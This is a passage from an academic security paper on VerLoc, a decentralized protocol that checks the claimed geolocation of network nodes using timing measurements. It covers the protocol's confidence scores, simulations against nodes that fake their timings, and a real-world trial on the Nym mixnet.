each zone instead of just the zone with the maximum score.

3.3.3 Confidence Scores

Confidence scores express the degree to which measured
RTTs are consistent with the claimed locations of all nodes
given the propagation model. This allows to reject decisions
where the evidence is inconclusive regarding the node’s lo-
cation. In the following, we introduce the generic concept of
confidence scores, whose parameters we later adjust to detect
adversarial timing manipulations (§5).
Speed Bounds. We consider bounds bl and bu that define the
minimum and maximum propagation speeds for a transmis-
sion. The upper bound bu = 2/3 ·c serves as a sanity check and
describes the maximum transmission speed that we usually
observe on the Internet. The lower bound bl is the lower 95 %
confidence bound of the speed fit (§2.2). A tolerance factor
τ accounts for transmission noise that slows down packets
beyond the considered speed limit:

bl = l(x)(1− τ) 0≤ τ≤ 1 (4)

Apply Confidence Scores. Consider a target node ni with a
set of references r j ∈ Ri and reported timings RT T (ni→ r j)
and RT T (ni← r j) for each direction. The node’s confidence
score ci represents the percentage of reference measurement
pairs within bounds, with the highest possible score being
1 and the lowest 0. More precisely, we count a 1 for every
pair of measurements that stays within the bounds and a 0
for every pair where at least one direction (RT T (ni→ r j) or
RT T (ni← r j)) violates at least one bound (bl or bu). We then
normalize the count dividing by the number of references |Ri|.

A threshold can then be used to either accept or reject
ni’s localization results based on its confidence score ci. In
Section 5 we show how confidence scores can be used as
countermeasure to distinguish benign from manipulated mea-
surements.

4 Performance Baseline

We begin our evaluation of VerLoc with a study of its perfor-
mance baseline in a non-adversarial simulation setup.

4.1 Experimental Setup
We evaluate VerLoc with simulations that account for the prop-
agation characteristics of real-world networks. The procedure
includes a preparation phase, where we randomly generate a
network, and a simulation phase, where we apply VerLoc.
Preparation. We generate a network of N nodes ni, each of
which has a randomly chosen true location loci in a zone zi
among fifteen of the most populated European countries: Ger-
many, France, United Kingdom, Italy, Spain, Ukraine, Poland,
Romania, Netherlands, Belgium, Czech Republic, Hungary,
Austria, Switzerland, and Slovakia. Based on these randomly
generated locations we generate a propagation matrix that
contains pairwise timing measurements for all possible pairs
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1 2 3 4

Figure 4: Zone Verification Process (§3.3.2). In the first step À, we generate an intersection area containing all possible locations
for the node. In the second step Á, we apply a grid to the intersection and compute the distances between each point in the grid
(squares) and each reference node (blue point). In the third step Â, we assign a weight to each point in the grid that describes the
probability of reaching the point from the reference in the measured time, darker colors represent a higher weight. In the final step
Ã, we sum the weights of the grid points within each country, and pick the country with the largest sum (Italy, in this example).
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Figure 5: Sample Target Grid. The black point is the location
of ni (ground truth); the colored area shows the weighted grid;
darker colors indicate a higher likelihood score for a point in
the grid. For the verification decision, we pick the country
with the largest sum of likelihood scores.

of nodes in the network. We sample the transmission speeds,
times, and noise from our empirical propagation model (§2.2).
Simulation. We first generate the set of references r j ∈ Ri
for each node ni. For this, we pick uniformly at random t
references out of the available N−1 nodes and extend the set
to ensure that all measurements are symmetric (cf. Alg. 2).
For each measurement pair we look up timings from the pre-
computed propagation matrix. We then apply the method
described in Section 3.3.1 to estimate ni’s location l̂oci and
the method of Section 3.3.2 to verify its zone, as defined by
country borders.

4.2 Metrics

We use two metrics to evaluate the performance baseline.
First, we measure the location error of a node ni as the great
circle distance between the estimated and actual node loca-
tions, dist(loci, l̂oci). Second, we compute the zone verifica-
tion rate as the fraction of nodes for which the highest weight
zone matches the ground truth of the node’s location zone.

4.3 Experiments

Number of References. As initial step to adjust VerLoc’s
parameters, we analyze how the number of references influ-
ences node localization accuracy and zone verification rates.
The number of references |Ri| of node ni strikes a tradeoff
between the overhead and performance of VerLoc. References
must be picked randomly to prevent attacks. Thus, we can-
not optimize the choice of Ri to maximize proximity to ni
or diversity of directions, which would increase localization
accuracy. Increasing the number of references is the next best
option to ensure diversity of measurement directions and to
level out noise.

To find a suitable target number R of references, we com-
pute the average location error and zone verification rate for
different values of R, and show the results in Figure 6. We
observe a significant performance improvement in the range
of R = 10 to R = 80 references, which then offers diminish-
ing returns for larger values of R. For our simulations we
choose R = 80 as lower bound for the number of references,
and set parameter t = 50 so that reference sets are larger than
R = 80 in at least 98 % of cases, i. e., |Ri| ≥ R for most nodes
(cf. Eq. 1). In the real-world experiments presented later (§6)
we test both R = 40 and R = 80 and find that the difference
in localization accuracy is less than 0.5 km.
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Figure 6: Performance for Localization and Verification. The
zone verification rate (left y axis) shows the fraction of correct
zone verifications. The localization error (right y axis) shows
the distance between the estimated and true node locations.

Table 1: Simulation Parameter Setup.

Parameter Notation Value Section

Nr Network Nodes N 1000

§4.1

Network Node ni –
Keys (pki,ski) –
True Physical Loc. loci –
Estimated Loc. l̂oci –
Claimed Loc. locA

i –
True Physical Zone zi –
Estimated Zone ẑi –

Base References t 50 §4.3Reference Set r j ∈ Ri |Ri| ≥ 80

Nr Adversarial Nodes |A| 50 .. 300 §5.2Adversarial Nodes a j ∈ A –
Claimed Nodes ck ∈C C ⊆ A

Confidence Threshold υ 0.2 §5.4Tolerance Factor τ 0.01

Baseline Parameter Values. We document the VerLoc pa-
rameters in Table 1. The first two blocks describe the network
setup and the number of references we determined in the per-
formance baseline. The following two blocks are dedicated
to the performance of VerLoc in an adversarial setting, which
we discuss in the following section.
Localization and Zone Verification Results. In our experi-
ments the median localization error is 103 km and the average
is 122 km. The distance between true and estimated locations
is distributed as shown in Figure 7. To get a sense of how
these distances compare to European country sizes, we em-
pirically evaluate the likelihood that the error will move the
node across a country border. As expected, shifts between
small neighboring countries are more likely to happen, but
VerLoc still achieves on average 92 % accuracy when verify-
ing the country in Europe where a node is located. We note
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Figure 7: KDE Localization Error: Distribution of distances
between the estimated and the true location of nodes.

that experiments in the wild outperform simulation results
(§6.2), confirming that our simulations represent a particularly
difficult deployment scenario.

5 Security Analysis

We consider an adversary that participates in the network with
several malicious nodes. The adversary claims false locations
(different from the nodes’ true physical locations) for a subset
of those nodes and manipulates measurements consistently
with the fake claimed locations. Claiming false locations
undermines the localization and verification capabilities of
VerLoc compared to the baseline. We extend here the initial
network model (§2.1) to account for adversarial setups.

5.1 Adversarial Timing Manipulations
We consider a network of N nodes, of which a subset A of
nodes is adversarial, A⊂ N. The adversary claims false loca-
tions locA

k 6= lock for a subset C of adversarial nodes, C ⊆ A.
The adversary controls all nodes in A and can thus manipu-
late timings whenever an adversarial node participates in a
measurement.

Given a malicious target node ck ∈ C and its reference
set Rk, there are three possible scenarios for the target and
reference pairings ck↔ r j.
Perfect Manipulation. A perfect manipulation is possible
when both the target node ck and the reference r j ∈ Rk are
under adversarial control, i. e., ck ∈C and r j ∈ A. In this case
the adversary contributes spoofed times RT T (ck → r j) and
RT T (ck← r j) for both directions. The spoofed timings match
the expected propagation time for the claimed locations:

RT T (ck→ r j) = RT T (ck← r j) =
dist(locA

k , locA
j )

f (dist(locA
k , locA

j ))
(5)

More precisely, the adversary first computes the distance
between the claimed location locA

k and the adversarial refer-
ence node locA

j . Note that locA
j = loc j if r j ∈ A but r j 6∈ C,
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while locA
j 6= loc j if r j ∈C. This distance serves as an input

to the empirical speed function f (x) (cf. § 2.2). We assume
that all the parameters of VerLoc are known to the adversary,
who can apply the propagation model to compute timings
that match the claimed distance. The adversary can slightly
alter reported RTT values with noise to avoid submitting sus-
piciously identical numbers.

The following two scenarios cover cases in which the ref-
erence node is not adversarial, i. e., ck ∈C but r j 6∈ A.
Slowing Down. If the claimed location locA

k of ck is further
away from reference r j than the true location lock, i. e., if
dist(locA

k , loc j) > dist(lock, loc j), then it is possible for the
adversary to slow down incoming timing probes (ck ← r j).
Slowing down means that the adversary delays its response
to the incoming probe in order to bring the RT T (ck ← r j)
measured by r j close to the value that would be observed if
ck was indeed placed in locA

k .
As in the previous case, we consider the adversary is able

to tamper with timings in both directions to perfectly fit the
claimed location. In one direction, the adversary contributes
a spoofed timing, while in the other direction it adds latency
to manipulate the timing reported by the (honest) reference
node r j.
No Manipulation. If the claimed location locA

k of ck is closer
to the benign reference r j than its true location lock, i. e., if
dist(locA

k , loc j)< dist(lock, loc j), then the adversary cannot
manipulate the measurements taken and reported by r j, as
he cannot speed up probes [27] or reply before receiving the
reference’s probe and seeing the included nonce.

5.2 Experimental Setup
In an adversarial setup, we are interested in the general system
performance (accuracy of localization and zone verification
rate) for honest nodes, as well as the number of successfully
claimed false locations. To this end, we adjust the network
setup and applied metrics.
Network Setup. As in the performance baseline experiments,
we simulate networks of N = 1000 nodes placed in random
locations across Europe and use a reference set size of R = 80.

We additionally define a subset A of adversarial nodes that
can manipulate measurements and a subset C ⊆ A of nodes
for which the adversary claims false locations. We randomly
pick fake claimed locations but ensure that the falsely claimed
location is in a different country than the actual location of
the adversarial node.

We first run a simulation considering true locations for
all nodes. We then substitute the propagation times for all
measurements in which the adversary can either apply a per-
fect manipulation or slow down incoming timing probes. We
re-apply the localization and verification methods for all the
nodes that were affected by the adversarial activities. This
includes all nodes ck ∈ C with false claimed locations, but
also all the benign nodes in their reference sets Rk. We do so

to examine all the discrepancies that the adversary introduces
when introducing bogus locations and measurements
Metrics. To measure the performance of VerLoc in an adver-
sarial setup, we extend the initial performance metrics (§4.2)
with a set of true/false, positive/negative results. In
contrast to the benign setup, these results now include ac-
cept/reject decisions for individual nodes.

We denote a positive decision as an accept, i. e., a de-
cision where the confidence score is sufficiently high; a
negative is a rejected decision where the confidence falls
below a defined threshold υ. Furthermore, we treat a result
as true whenever it matches the ground truth and as false
when it contradicts the ground truth:

• TP A true positive decision denotes an accept for a
node that reports its true location loci ∈ zi, meaning that
VerLoc believes the node to be in the correct zone zi.

• TN A true negative decision denotes a reject for an
adversarial node claiming to be at a false location locA

k ∈
zA

k such that zA
k 6= zk.

• FP A false positive decision denotes an accept for a
node with a false claimed location locA

k ∈ zA
k , meaning

that VerLoc believes the node to be in the falsely claimed
zone zA

k .

• FN A false negative decision denotes a reject for a node
whose claimed location loci ∈ zi was actually true.

In the following, we use a confidence score to identify fake
node locations. We then analyze the attack performance for
an increasing number of adversarial nodes to test the breaking
point of the system.

5.3 Attack Success
In a first step, we analyze the success of the adversary in
claiming false locations for some of its nodes, considering
a network of N = 1000, where each has at least R = 80 ran-
domly chosen references. To this end, we allow the adversary
to control |A|= 50 randomly chosen nodes and evaluate the at-
tack success for an increasing number of false location claims
|C|= 5..50. Note that in the case of |C|= 50 the adversary is
claiming false locations for all adversarial nodes, i. e., C = A.

We show the number of successfully verified false loca-
tions in Figure 8, where we can see that in the absence of
countermeasures the adversary is successful between a third
and half of the times.

5.4 Confidence Scores
To harden VerLoc and mitigate the attack success, we use the
confidence scores introduced previously (§3.3.3). We define
a reject threshold υ to distinguish between benign and mali-
cious location claims. We further define a tolerance factor τ
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Figure 8: Adversarial success for a given number of false
claimed locations (20000 samples).

to account for background noise that disturbs the end-to-end
timings. These are the two main parameters that determine
accept and reject decisions based on the confidence scores.

The tolerance factor τ defines how much noise is tolerated,
i. e., it relaxes the lower bound bl on the speed, accepting even
slower transmissions. Too many transmissions being too slow
is precisely a distinguishing characteristic of false claimed
locations. Whenever a false claimed location is closer to a
reference r j than the true location, the adversary is unable to
manipulate the measured timing to make it shorter. Conse-
quently, the RTT reported by the reference r j will appear as a
very slow (noisy) transmission.

The threshold υ defines the minimum decision confidence
score required by VerLoc to accept a claimed location as
verified. This parameter influences the tradeoff between false
positive and false negative rates. An overly restrictive υ will
reject many decisions, including those of benign nodes for
which measurements are simply noisy. On the other hand,
a very lax υ increases false positives, correctly verifying a
larger number of honest node locations at the cost of also
accepting some false locations as correct.
Tolerance Factor (τ). To evaluate how the tolerance factor
τ influences the overall performance of VerLoc, we test val-
ues in the range of τ = 0.005..0.025 considering a decision
threshold υ = 0.2. In our evaluation, we first study which
configurations prevent the adversary from claiming any false
location, i. e., cases in which FP = 0. We find that there is
minimal variation for the accept and TP rates. More precisely,
the acceptance rates are in the range of 95 % to 96 %, and the
TP rates achieve 86 % to 87 % within the accepted decisions.
For the simulation experiments we use a tolerance factor of
τ = 0.01.
Decision Threshold (υ). The decision threshold υ defines the
minimum required confidence to accept a decision. Figure 9
shows the distribution of confidence scores for adversarial and
benign nodes considering a scenario where the adversary con-
trols 50 nodes, all of which claim false locations. As we can
see in the figure, both groups can be perfectly distinguished
with a decision threshold of υ = 0.2, as there is no overlap
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Figure 9: Distribution (kernel density estimate) of confidence
scores. Benign (blue) and malicious (orange) nodes in a setup
with |C|= |A|= 50 adversarial nodes claiming false locations.
We choose a threshold υ = 0.2 to distinguish both groups.
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Figure 10: Distribution of confidence scores for a setup with
250 out of 1000 (25%) malicious nodes, all claiming false
locations.

between both distributions. We thus choose this value for υ.

5.5 Breaking Point of VerLoc
We have shown that VerLoc can reliably distinguish between
manipulated and benign node decisions. This prevents adver-
sarial success while maintaining a reliable verification and
localization performance in situations where the adversary
controls a limited percentage of nodes. However, we are also
interested in identifying the breaking point of the system, i. e.,
the required amount of adversarial resources that degrades the
performance of VerLoc to unacceptable levels. To this end,
we gradually increase the fraction of adversarial control in
the network (cf. Table 2). We observe:

• Confidence Score Distribution. An increasing number
of adversarial nodes with false claimed locations intro-
duces distortions in many measurements, and the manip-
ulations lead to network-wide inconsistencies between
claimed locations and reported timing measurements.
Figure 10 shows how the confidence scores begin to
overlap for benign and malicious nodes at 25 % compro-
mise.
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Table 2: System Breaking Point.

Claimed Reject TP FP FN Recall

5 % 50 815 0 0 1.00
10 % 102 756 0 2 0.99
15 % 152 691 0 3 0.99
20 % 214 627 0 23 0.96
25 % 284 555 0 58 0.91

30 % 335 476 3 105 0.82
35 % 352 401 3 151 0.73

• False Positives. VerLoc begins to output FP results when
reaching around a third of adversarial nodes with false
location claims. While the adversarial success is limited
in this setup (FP = 3), it indicates that at this point the
adversary is capable of compromising the verification
process to successfully claim false locations. Note that a
FP only occurs when (1) the estimated zone ẑi coincides
with the zone that contains the location locA

i claimed by
the adversary, and (2) the adversarial node has a confi-
dence score larger than υ. A confidence score above υ

does not lead to a FP if the estimated and claimed zones
do not coincide.

• False Negatives. False negatives do not compromise
the system’s security directly but they have the risk of
unfairly rejecting honest nodes from the system. Further-
more, an increasing FN rate indicates that VerLoc looses
the ability to make reliable accept and reject decisions.
We see that FN begins to increase when adversaries con-
trol 20 % or more of the network.

Conclusion. The confidence scores of VerLoc allow distin-
guishing true and false location claims. This protection mech-
anism is robust to adversaries that control up to about 20 % of
nodes in the network while still providing high performance
rates for all remaining honest nodes. Note that these results
correspond to a network setup restricted to Europe, which is
a challenging use case (§5.6).

5.6 Additional Threats
5.6.1 Framing Benign Nodes

Instead of trying to successfully claim false locations (FP) for
malicious nodes, the adversary can attempt to frame benign
nodes as claiming a false location (FN) by, e. g., contributing
timings that violate bounds and reduce the confidence score of
an honest node. An adversary that controls a fraction α = |A|

N
of all the nodes is on average able to manipulate a fraction α

of an honest node’s reference measurements, in one of the two
directions.4 This is in contrast with claiming false locations,

4The exact number of corrupt references in a node’s set is given by a
hypergeometric distribution with population size N, R draws, and |A| special

where the adversary controls all the reference measurements
in at least one direction, and a fraction α in both directions.

An adversary that controls a fraction α of a node’s refer-
ences can at most lower the confidence score of the node by α,
by making α ·R measurements that would otherwise be within
bounds to be out of bounds. Considering the results shown in
Figure 9 for benign nodes, more than half the references of
a node fail the bounds test in the absence of attack, meaning
that the adversary in practice will be only able to lower an
honest node’s score by less than α. Considering a threshold
υ = 0.2 for the confidence scores, an adversary has to control
at least a fraction α = 0.2 to start bringing down below υ the
confidence score of a non-negligible fraction of benign nodes.

Note that, because measurements are symmetric, a bounds
violation in a pairwise measurement affects both nodes in-
volved, and thus the scores of the adversarial nodes them-
selves become lower as they attack more targets, meaning
that the adversary has to trade scalability with detectability of
the attack.

5.6.2 Strategic Locations for Adversarial Nodes

An adversary can improve the attack success by strategically
positioning its nodes. For this strategic placement, two key
characteristics can be exploited. First, zone verification errors
where a node is believed to be in a different zone are more
likely to occur in small zones, such that an error of less than a
hundred kilometres is enough to shift the node to a different
zone. Thus, an adversary placing the nodes in small zones can
more plausibly claim that the observed discrepancies are due
to natural network effects and noise rather than malicious ma-
nipulation. Within the localization constraints the adversary
is subject to, placing the malicious nodes as close as possible
to the border of the claimed zone increases the chances of
adversarial success. Note that regardless of zone boundaries,
it is always easier for an adversary to plausibly claim being at
a nearby location rather than a faraway location.

Second, we investigate how the directional diversity of a
reference set influences the accuracy of localization. In the
best case, a node’s references are situated in all directions
to provide the highest possible measurement diversity. To
illustrate why directional diversity is important, consider a
case where multiple measurements have a lot of noise (extra
latency). If the noisy measurements come from opposite di-
rections, the discrepancies are leveled out and VerLoc arrives
at a good estimation. In contrast, noisy measurements from a
single direction push the estimated target node further away
from its actual location. In our experiments, 95 % of failed
verification for nodes in Spain, which is located in the SW
corner of Europe, are associated with a unidirectional distri-
bution of references, whereas this issue appears related to just

(malicious) objects. The variance of such distribution is low for a large R,
making it unlikely that the adversary controls much more than a fraction α

of references in a randomly chosen subset.
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20 % of nodes in Romania, which has a more central location
in the continent. Therefore, an adversary can more plausibly
claim that a failed verification is due to natural causes when
claiming locations with less directional diversity. Note also
that the adversary has more influence on VerLoc’s results for
a node when it is the only reference providing measurements
for that node from a certain direction.

The study of adversarial node positioning strategies to
achieve concrete objectives under specific constraints is left
for future work. Such further research may, for example, eval-
uate strategies for successfully convincing the network that
a number of adversarial nodes are located within a specific
country (that, e.g., has a strong rule of law and favorable legis-
lation, which increases trust in those adversarial nodes), when
they are actually located somewhere else that is at a certain
distance; or strategies for downgrading the confidence score
of specific targets among the honest nodes.

5.6.3 Adversaries in the underlying network

Network adversaries placed in between two nodes may inter-
cept probes and respond to them, causing nodes to measure
RTTs that are impossibly small given the actual distance be-
tween them. Security can be strengthened towards such adver-
saries if the two nodes, who can authenticate each other using
the public keys in the node descriptors, establish a shared
secret s before exchanging probes, e. g., with an authenticated
Diffie-Hellmann key exchange. Instead of simply copying
the nonce in their response, nodes respond to probes with a
hash of s concatenated with the nonce. A man-in-the-middle
adversary who is physically between the two nodes cannot
fake a shorter distance without access to s. Note that the time
required to compute this hash adds to the measured RTT
and thus needs to be factored in when building the propaga-
tion model. If the hash computation time is highly variable
from one node to another, this adds noise that may decrease
localization accuracy; if on the other hand the hash compu-
tation time is rather constant across servers, it can be easily
accounted for in the propagation model without an impact on
localization accuracy.

Alternatively, a network adversary can always slow down
probes it intercepts. Note that this gives no additional advan-
tage to an adversary that controls one of the nodes involved in
the probe, who already has the ability to slow down the probe
at will; but it does enable the adversary to delay probes sent
between honest nodes. The effect of such an attack is to lower
the confidence score of honest nodes, who now appear to be
far away from many other nodes, or even all other nodes if the
adversary fully controls the network connection of the victim.
Note that distinguishing such delays from natural transmis-
sion delays due to poor network conditions is non-trivial, as
both effects cause a lower confidence score. We argue that
this is an acceptable effect, as the confidence scores not only
represent adversarial manipulations, but also take into account

bad network conditions. In both cases the score represents a
lower confidence in the localization result.

5.6.4 Compromised Broadcast Channel

VerLoc relies on two types of node information to produce
results: node descriptors (containing IP addresses, claimed
locations and public keys) and recorded measurements. We as-
sume that node descriptors are always securely broadcast even
in the absence of VerLoc, as otherwise it is easy to completely
disrupt the network and any functionality it could offer, be-
yond VerLoc’s node localization features. Note that in Tor this
information is included in a consensus document signed by
all directory authorities, while in Nym it is collectively signed
by validators and published in the blockchain. The recorded
measurements are however specific to VerLoc and not broad-
cast already as part of basic network orchestration. Therefore,
we can expect VerLoc implementations such as the one de-
scribed in the next section, where recorded measurements are
made publicly available in ways that are more susceptible to
adversarial attacks. An adversary could, for example, show
different measurement results to different participants by serv-
ing a different result files depending on the IP address of the
requester. In this case participants may arrive to different con-
clusions regarding the localization of some nodes. We note
that public web pages with node information such as those
maintained by Nodes Guru5 make such attacks detectable,
as participants may realize that their locally obtained VerLoc
results do not coincide with results shared by others in public
places. Thus, while such attacks are difficult to prevent in the
absence of secure broadcast for measurements, they can be
relatively easy to detect (and react to) given active community
engagement, discussion and scrutiny of the system.

6 Experiments in the Wild

As final step we validate VerLoc with a real-world experiment
where deployed nodes run a simplified prototype implemen-
tation.

6.1 Experimental setup

The simplified VerLoc prototype implementation was bun-
dled with the Nym network’s mixnode code version 0.10.1,
released on May 25th. Thousands of nodes are actively partic-
ipating in VerLoc measurements and publishing new results
every 12 hours. More precisely, a list of mixnodes with IP
addresses of all nodes involved in the network is publicly
available.6 Using these IP addresses, we can load the mea-
surement results from a specific port directly at the node

5https://nodes.guru/nym/nymworld
6https://testnet-finney-explorer.nymtech.net/data/

mixnodes.json

USENIX Association 31st USENIX Security Symposium    2649

https://nodes.guru/nym/nymworld
https://testnet-finney-explorer.nymtech.net/data/mixnodes.json
https://testnet-finney-explorer.nymtech.net/data/mixnodes.json


http://[IP]:8000/verloc. We have made publicly avail-
able the prototype implementation7 used to obtain the results
shown in this paper. The prototype includes the main imple-
mentation of VerLoc and a fetch and parsing script to obtain
the node measurements. Our results are therefore fully re-
producible and the prototype is available to conduct further
studies.

The implementation functions as follows. As part of Nym’s
normal features (independently of VerLoc), mix nodes peri-
odically download the full list of active nodes in the network,
with their public keys and IP addresses. Nodes self-report
location as part of their information, typically at the level
of nearest town. In Appendix B we provide details on the
quality of self-reported locations. A node that runs the Ver-
Loc-enabled version of the software sends 200 ICMP echo
requests to each of the other nodes in the network and records
the measured RTT values. The minimum RTT per reference is
made available at a defined port accessible through the node’s
IP address. We crawl and parse these files to retrieve the mea-
surements. We then locally run our Python scripts on that
data to compute localization results. The main differences
between the prototype version that is currently deployed and
the full proposed VerLoc system are:

• The prototype does not publish the measured RTTs in a
blockchain but instead makes them publicly available as
json files.

• In the prototype nodes measure all (thousands) other
nodes in the network rather than a subset of 40 to 80 ref-
erences. This is to allow us to collect a larger dataset and
perform a more thorough evaluation. A complete Ver-
Loc implementation conducts fewer measurements (two
orders of magnitude less) and thus generates much less
data so that it is feasible to publish RTT measurements
in a blockchain.

6.2 Results
At the time of submission (June 2021) there are 7469 individ-
ual nodes in the Nym network. After crawling, parsing, and
filtering for nodes running the VerLoc-enabled version 0.10.1,
we were left with 3460 nodes for our evaluation. The main
‘loss’ of nodes running the right software version is caused by
problems parsing or mapping the self-reported locations. In
the current prototype implementation, node operators provide
location as a string that should be the name of a city. We then
look up the name in a publicly available list of 26569 world
cities. We use the coordinates of the center point of the city as
an approximation of the node’s self-reported location. Unfor-
tunately, the free text leads to parsing errors due to spelling
mistakes and formatting issues. Furthermore, if nodes pro-
vide the name of a small place not in the list of world cities,

7https://github.com/katharinakohls/VerLoc
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Figure 11: KDE Localization Error: Distribution of distances
between the estimated and the true location of nodes.

our current prototype cannot assign a reported location to the
node. In a more advanced version of VerLoc, the self-reported
location should be standardized, e. g., by providing numerical
fields for reporting latitude and longitude instead of a free
text field for the location name—or substituted altogether by
GeoIP locations.

For comparison to the simulation results (§4) we select
nodes in Europe that have a sufficient number of measure-
ments, which results in a subset of 943 out of the 3460 nodes.
The filtered dataset with 943 nodes contains 852870 indi-
vidual measurements, with an average of 902 references per
node. For each selected node, we randomly choose R of its
references, discarding and re-sampling if we get a duplicate
location already in the reference set. We then retrieve the
corresponding measurements from the dataset.

We tested R = 80 and R = 40 and the median localization
error differed by less than 0.5 km. The results show a me-
dian localization error of 60 km and an average of 178 km,
which are better results than those obtained in the simula-
tions (§4). The distribution of error is shown in Figure 11.
Compared to Figure 7, it is more skewed, with a larger num-
ber of rather accurate localizations and a long tail of error.
This performance improves when applying confidence scores
(§5.4). Although we do not expect an active manipulation of
measurements in the collected data set, self-reported locations
may be grossly inaccurate in some cases. Confidence scores
help filter out nodes with abnormally high rates of bad mea-
surements. When adjusting the tolerance parameter τ = 0.2
and keeping the threshold υ = 0.2, two thirds of the nodes
have confidence above the threshold. The median localization
error for nodes with a confidence score ci > υ is 55 km, while
the median error for nodes with a confidence score ci < υ is
256 km.

7 Overhead of VerLoc

VerLoc is intended for networks that already have a system for
broadcasting node descriptors, so that this requirement does
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not impose additional overhead as it piggy-backs on existing
infrastructure. The network may also collaboratively generate
a periodic random beacon for other purposes, or rely on an
external source of randomness.

In terms of data broadcast, the overhead caused by Ver-
Loc is given by the inclusion of RTT measurements in a
blockchain. Each measurement contains an RTT and an iden-
tifier of the node being measured, which together can be en-
coded in 5 B: 20 bit for the node id of the reference being
measured (for networks of up to 1 million nodes) and 20 bit
for encoding the RTT with a granularity of 1 µs. Consider-
ing R = 40 references per node (shown to be sufficient in
real-world experiments) this amounts to 200 B per node. The
overhead scales linearly with the size of the network, e. g. for
a network of ten thousand nodes, the broadcast data needed to
run VerLoc amounts to 2 MB for the full network. If VerLoc
runs once or twice a day this is a rather small overhead. A
resource-efficient version of VerLoc can be limited to updating
information and measurements only for nodes that have newly
joined or that have updated their public key, self-reported lo-
cation or IP address.

In terms of VerLoc’s pairwise communication overhead,
each node must send 200 ICMP echo requests to 40 refer-
ences, meaning it executes 8000 pings, once or twice a day.
This overhead remains constant as the network grows and it is
in practice negligible for the nodes. Using the measurement
data made publicly available, the evaluation scripts can be
run locally by everyone to obtain location verification results.
Our current (non-optimized) Python scripts take less than
120 ms to compute the localization result for a node with 40
references.

8 Related Work

Delay-Based Geolocation. Different delay-based geolocation
techniques [4, 15, 31, 33] exist for use cases like cloud stor-
age [20] or the identification of hidden servers [10]. Such tech-
niques overcome inaccuracies in existing databases [16, 37],
and outperform WiFi positioning systems [53] or GPS-
based approaches [22]. While prior studies emphasize the
resilience of delay-based geolocation against simple manipu-
lations [1,2,9,19,36,50], VerLoc is the first to protect against
adversaries in a decentralized setting. Furthermore, prior ap-
proaches often rely on central authorities [21, 52]. In contrast
to VerLoc, they depend on trusted information and do not
consider targeted adversarial manipulations. Other network
geolocation techniques include proxies [51], focus on achiev-
ing street-level granularity [50], or analyze the quality of the
information in commercial geolocation databases [18].
Adversarial Localization in Other Contexts. Adversarial
interference with location information is also relevant in other
contexts. For example, prior work demonstrates privacy at-
tacks that allow an adversary to localize and track mobile
users based on public information [17, 28, 43]. In the con-

text of GPS, spoofing attacks are a persisting problem due to
the unencrypted and unauthorized transmission of informa-
tion [23, 45, 47]. Several real-world incidents demonstrate the
threat of such attacks [6, 38, 41, 42].
Distance Bounding. Distance bounding protocols are two-
party cryptographic protocols that enable a verifier V to es-
tablish an upper bound on the physical distance to a (possibly
adversarial) prover P [7]. Such protocols are typically de-
signed for bounding distances in the order of metres (or even
centimetres [39]) and are mainly concerned with dishonest
provers and man-in-the-middle adversaries that try to fake a
shorter distance between P and V [35]. In contrast, VerLoc is
a decentralized multi-party protocol that relies on redundancy
across dozens of measurements with randomly selected par-
ties to infer geolocation on a map (rather than just focusing
on establishing an upper bound on the distance between two
parties), such that results are accurate enough even if some
measurements are fabricated by the adversary. An accuracy in
the order of tens of kilometres is in most cases good enough
for verifying location at country-level granularity in a global
or continental network.

9 Conclusion

We have introduced VerLoc, a decentralized protocol that uses
timing probes between randomly assigned pairs of nodes to
verify the geolocation of nodes in a network. VerLoc outputs
an estimated most likely location, a verification decision on
whether the node is in the claimed geographical area (e. g.,
country), and a score of the confidence of VerLoc on a node’s
localization results. Low scores are indicative of poor network
conditions or of active attack.

To configure VerLoc, we first conducted an empirical study
where we measured real-world propagation timings. We used
this information to create a propagation model that summa-
rizes realistic transmission times and speeds as a function
of the distance between the nodes. In a series of simulation
experiments, we analyzed the performance of VerLoc in a non-
adversarial setup and further tested its defensive capabilities
in increasingly adversarial conditions. Our results show that
VerLoc protects against false claimed locations even when
up to 20 % of nodes are malicious while providing correct
location estimates for the remaining benign nodes in 90 % of
cases. Finally, we validated VerLoc with an experiment in the
wild, where several thousand nodes run a VerLoc prototype.
The real-world results show that VerLoc localizes nodes with
a median error of 60 km and is thus suitable for verifying
locations at country-level granularity.
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A Propagation Model

VerLoc requires a speed function to convert measured times
to distances, since a simple speed constant does not accu-
rately describe the relationship between the physical distance
between two computers and the time it takes for data to be
transmitted from one to the other via the Internet. The Inter-
net speed function is in fact distance-dependent, with speeds
being higher (and noise lower) for longer distances than for
shorter ones.

We generate a propagation model with a rather simple
method that we introduced in Section 2.2 and that we de-
scribe here in more detail. We note that a better propagation
model can be generated with a larger and more diverse set of
samples. A more sophisticated application of the propagation
model can also take into account not just the distance between
two nodes, but be finer-grained and account for their actual
locations since similar distances can have different speeds
depending on the underlying Internet connectivity between
locations. While a better propagation model can further im-
prove VerLoc’s performance, we have shown in this paper that
the VerLoc concept works even with a simple model.

We note that building an accurate propagation model ben-
efits from the use of trusted landmarks at known locations.
Since this only needs to be done once before deploying Ver-
Loc and then the model is a publicly known function (that can
be used not just by VerLoc but by any system that wants to
convert internet timings to distances), we argue that this does
not introduce trusted parties in VerLoc’s operations.

Setup

In order to build the propagation model, we measure the
round-trip timings (RTTs) of transmissions between servers
in 16 known different worldwide locations and 6042 relays
of the Tor network. Between each pair of nodes we send 200

ICMP echo requests to derive the minimum RTT, the mean,
and the standard deviation over all pings sent between the
two servers. Along with these measured timings, we docu-
ment the relays’ GeoIP locations. Note that while the GeoIP
location cannot serve as reliable ground truth, it provides an
approximate location for the majority of nodes [18, 51].

Of the 200 timing probes exchanged between a pair of
nodes, we take the minimum measured RTT as that corre-
sponds to the least noisy measurement sample for a connec-
tion. The same procedure is followed in VerLoc whenever two
nodes measure each other: they exchange 200 probes and re-
port the minimum measured RTT as best representative of the
channel. This is because noise strictly adds (never subtracts)
latency.

Dataset

Within this setup, we conducted a set of 1.8 million measure-
ments within two days, and collected two smaller sets (60k
and 30k) weeks later to verify that the RTT distributions were
stable. Fig. 1 documents the measurements and the fitting
function, which we later use in the simulation and prototype
experiments. We sanitized our dataset by removing nodes
for which the measurements indicate they announced a false
GeoIP entry. In particular, we flag measurements that would
imply a propagation speed faster than light. We keep measure-
ments that are (significantly) slower than expected, as this can
be caused by network delays. The speed of light is however
a hard upper bound for transmissions, and thus nodes with
excessively fast measurements can be safely removed.

B Quality of Self-Reported Data

The current prototype implementation of VerLoc deployed in
Nym uses self-reported locations on a city level. This can only
be an approximation of the exact node location, as we refer to
